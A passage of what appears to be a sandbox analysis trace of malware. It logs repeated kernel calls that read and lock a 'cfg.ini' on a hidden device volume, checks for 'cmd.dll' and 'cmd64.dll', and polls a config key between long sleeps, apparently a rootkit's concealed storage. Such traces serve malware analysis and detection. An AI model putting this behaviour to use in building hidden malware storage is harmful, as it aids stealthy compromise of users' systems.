KeLeaveCriticalRegion () [0123.800] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.800] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.800] KeEnterCriticalRegion () [0123.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.801] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b17000 [0123.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.801] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.801] IdePortDispatch () returned 0x103 [0123.801] KeWaitForMutexObject () returned 0x0 [0123.801] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.801] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.801] IdePortDispatch () returned 0x103 [0123.801] KeWaitForMutexObject () returned 0x0 [0123.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.801] KeLeaveCriticalRegion () [0123.801] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.802] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.802] KeEnterCriticalRegion () [0123.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.802] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.802] KeLeaveCriticalRegion () [0123.802] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.802] KeEnterCriticalRegion () [0123.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.802] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.802] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.802] KeLeaveCriticalRegion () [0123.802] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.802] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.802] KeEnterCriticalRegion () [0123.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.802] ExFreePoolWithTag (P=0xfffffa8003bed7a0, Tag=0x0) [0123.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.802] KeLeaveCriticalRegion () [0123.803] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.803] ReleaseMutex (hMutex=0xf0) returned 1 [0123.803] Sleep (dwMilliseconds=0x124f80) [0123.808] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.827] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.827] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.827] KeEnterCriticalRegion () [0123.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.827] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.827] IdePortDispatch () returned 0x103 [0123.827] KeWaitForMutexObject () returned 0x0 [0123.827] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.827] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.827] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.827] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.827] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.827] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec510 [0123.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.827] KeLeaveCriticalRegion () [0123.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.828] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.828] KeEnterCriticalRegion () [0123.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.828] KeLeaveCriticalRegion () [0123.828] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.828] KeEnterCriticalRegion () [0123.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.828] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.828] IdePortDispatch () returned 0x103 [0123.828] KeWaitForMutexObject () returned 0x0 [0123.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.828] KeLeaveCriticalRegion () [0123.828] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.828] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.828] KeEnterCriticalRegion () [0123.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d43000 [0123.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.828] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.828] IdePortDispatch () returned 0x103 [0123.828] KeWaitForMutexObject () returned 0x0 [0123.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.829] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.829] IdePortDispatch () returned 0x103 [0123.829] KeWaitForMutexObject () returned 0x0 [0123.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.829] KeLeaveCriticalRegion () [0123.829] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.829] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.829] KeEnterCriticalRegion () [0123.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.829] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.829] KeLeaveCriticalRegion () [0123.829] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.830] KeEnterCriticalRegion () [0123.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.830] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.830] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beecc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.830] KeLeaveCriticalRegion () [0123.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.830] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.830] KeEnterCriticalRegion () [0123.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.830] ExFreePoolWithTag (P=0xfffffa8003bec510, Tag=0x0) [0123.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.830] KeLeaveCriticalRegion () [0123.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.830] ReleaseMutex (hMutex=0xf0) returned 1 [0123.830] Sleep (dwMilliseconds=0x124f80) [0123.844] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.844] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.844] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.844] KeEnterCriticalRegion () [0123.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.844] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.844] IdePortDispatch () returned 0x103 [0123.844] KeWaitForMutexObject () returned 0x0 [0123.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.847] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.847] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.847] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.847] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.847] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beda50 [0123.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.847] KeLeaveCriticalRegion () [0123.847] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.847] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.847] KeEnterCriticalRegion () [0123.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.847] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.847] KeLeaveCriticalRegion () [0123.847] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.847] KeEnterCriticalRegion () [0123.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.847] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.847] IdePortDispatch () returned 0x103 [0123.847] KeWaitForMutexObject () returned 0x0 [0123.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.847] KeLeaveCriticalRegion () [0123.847] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.847] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.848] KeEnterCriticalRegion () [0123.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.848] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df1000 [0123.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.848] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.848] IdePortDispatch () returned 0x103 [0123.848] KeWaitForMutexObject () returned 0x0 [0123.848] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.848] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.848] IdePortDispatch () returned 0x103 [0123.848] KeWaitForMutexObject () returned 0x0 [0123.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.848] KeLeaveCriticalRegion () [0123.848] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.849] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.849] KeEnterCriticalRegion () [0123.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.849] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.849] KeLeaveCriticalRegion () [0123.849] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.849] KeEnterCriticalRegion () [0123.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.849] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.849] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.849] KeLeaveCriticalRegion () [0123.849] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.849] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.849] KeEnterCriticalRegion () [0123.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.849] ExFreePoolWithTag (P=0xfffffa8003beda50, Tag=0x0) [0123.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.849] KeLeaveCriticalRegion () [0123.849] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.849] ReleaseMutex (hMutex=0xf0) returned 1 [0123.849] Sleep (dwMilliseconds=0x124f80) [0123.862] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.871] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.871] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.871] KeEnterCriticalRegion () [0123.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.873] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.873] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.873] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.873] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.873] IdePortDispatch () returned 0x103 [0123.873] KeWaitForMutexObject () returned 0x0 [0123.873] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.873] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.873] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.874] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.874] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.874] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec510 [0123.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.874] KeLeaveCriticalRegion () [0123.874] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.874] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.874] KeEnterCriticalRegion () [0123.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.874] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.874] KeLeaveCriticalRegion () [0123.874] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.874] KeEnterCriticalRegion () [0123.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.874] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.874] IdePortDispatch () returned 0x103 [0123.874] KeWaitForMutexObject () returned 0x0 [0123.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.874] KeLeaveCriticalRegion () [0123.874] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.874] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.874] KeEnterCriticalRegion () [0123.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.874] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a6000 [0123.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.875] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.875] IdePortDispatch () returned 0x103 [0123.875] KeWaitForMutexObject () returned 0x0 [0123.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.875] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.875] IdePortDispatch () returned 0x103 [0123.875] KeWaitForMutexObject () returned 0x0 [0123.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.875] KeLeaveCriticalRegion () [0123.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.876] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.876] KeEnterCriticalRegion () [0123.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.876] KeLeaveCriticalRegion () [0123.876] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, 